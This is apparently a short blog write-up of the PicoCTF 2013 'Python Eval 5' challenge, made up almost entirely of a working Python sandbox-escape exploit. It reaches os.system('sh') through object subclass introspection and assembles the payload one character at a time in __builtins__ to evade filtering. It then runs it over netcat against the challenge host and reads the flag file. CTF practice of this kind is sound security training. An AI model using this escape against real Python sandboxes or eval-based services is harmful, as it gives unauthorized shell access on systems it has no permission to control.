#cat task5.py
#nc python.picoctf.com 6365
().__class__.__base__.__subclasses__()[53]
__builtins__
#ipython
In [1]:for c in "().__class__.__base__.__subclasses__()[53].__init__.func_globals['linecache'].__dict__['os'].system('sh')":
...:print "__builtins__['x'] = __builtins__['x'] + " + '"' + c + '"'
...: #nc python.picoctf.com 6365
__builtins__['x'] = '' __builtins__['x'] = __builtins__['x'] + "(" __builtins__['x'] = __builtins__['x'] + ")" __builtins__['x'] = __builtins__['x'] + "." __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "c" __builtins__['x'] = __builtins__['x'] + "l" __builtins__['x'] = __builtins__['x'] + "a" __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "." __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "b" __builtins__['x'] = __builtins__['x'] + "a" __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "e" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "." __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "u" __builtins__['x'] = __builtins__['x'] + "b" __builtins__['x'] = __builtins__['x'] + "c" __builtins__['x'] = __builtins__['x'] + "l" __builtins__['x'] = __builtins__['x'] + "a" __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "e" __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "(" __builtins__['x'] = __builtins__['x'] + ")" __builtins__['x'] = __builtins__['x'] + "[" __builtins__['x'] = __builtins__['x'] + "5" __builtins__['x'] = __builtins__['x'] + "3" __builtins__['x'] = __builtins__['x'] + "]" __builtins__['x'] = __builtins__['x'] + "." __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "i" __builtins__['x'] = __builtins__['x'] + "n" __builtins__['x'] = __builtins__['x'] + "i" __builtins__['x'] = __builtins__['x'] + "t" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "." __builtins__['x'] = __builtins__['x'] + "f" __builtins__['x'] = __builtins__['x'] + "u" __builtins__['x'] = __builtins__['x'] + "n" __builtins__['x'] = __builtins__['x'] + "c" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "g" __builtins__['x'] = __builtins__['x'] + "l" __builtins__['x'] = __builtins__['x'] + "o" __builtins__['x'] = __builtins__['x'] + "b" __builtins__['x'] = __builtins__['x'] + "a" __builtins__['x'] = __builtins__['x'] + "l" __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "[" __builtins__['x'] = __builtins__['x'] + "'" __builtins__['x'] = __builtins__['x'] + "l" __builtins__['x'] = __builtins__['x'] + "i" __builtins__['x'] = __builtins__['x'] + "n" __builtins__['x'] = __builtins__['x'] + "e" __builtins__['x'] = __builtins__['x'] + "c" __builtins__['x'] = __builtins__['x'] + "a" __builtins__['x'] = __builtins__['x'] + "c" __builtins__['x'] = __builtins__['x'] + "h" __builtins__['x'] = __builtins__['x'] + "e" __builtins__['x'] = __builtins__['x'] + "'" __builtins__['x'] = __builtins__['x'] + "]" __builtins__['x'] = __builtins__['x'] + "." __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "d" __builtins__['x'] = __builtins__['x'] + "i" __builtins__['x'] = __builtins__['x'] + "c" __builtins__['x'] = __builtins__['x'] + "t" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "[" __builtins__['x'] = __builtins__['x'] + "'" __builtins__['x'] = __builtins__['x'] + "o" __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "'" __builtins__['x'] = __builtins__['x'] + "]" __builtins__['x'] = __builtins__['x'] + "." __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "y" __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "t" __builtins__['x'] = __builtins__['x'] + "e" __builtins__['x'] = __builtins__['x'] + "m" __builtins__['x'] = __builtins__['x'] + "(" __builtins__['x'] = __builtins__['x'] + "'" __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "h" __builtins__['x'] = __builtins__['x'] + "'" __builtins__['x'] = __builtins__['x'] + ")" None; exec __builtins__['x'] ls -lh
cat flag_for_masters
# PicoCTF 2k13 - Python Eval 5
Subscribe to:
Post Comments (Atom)
No comments:
Post a Comment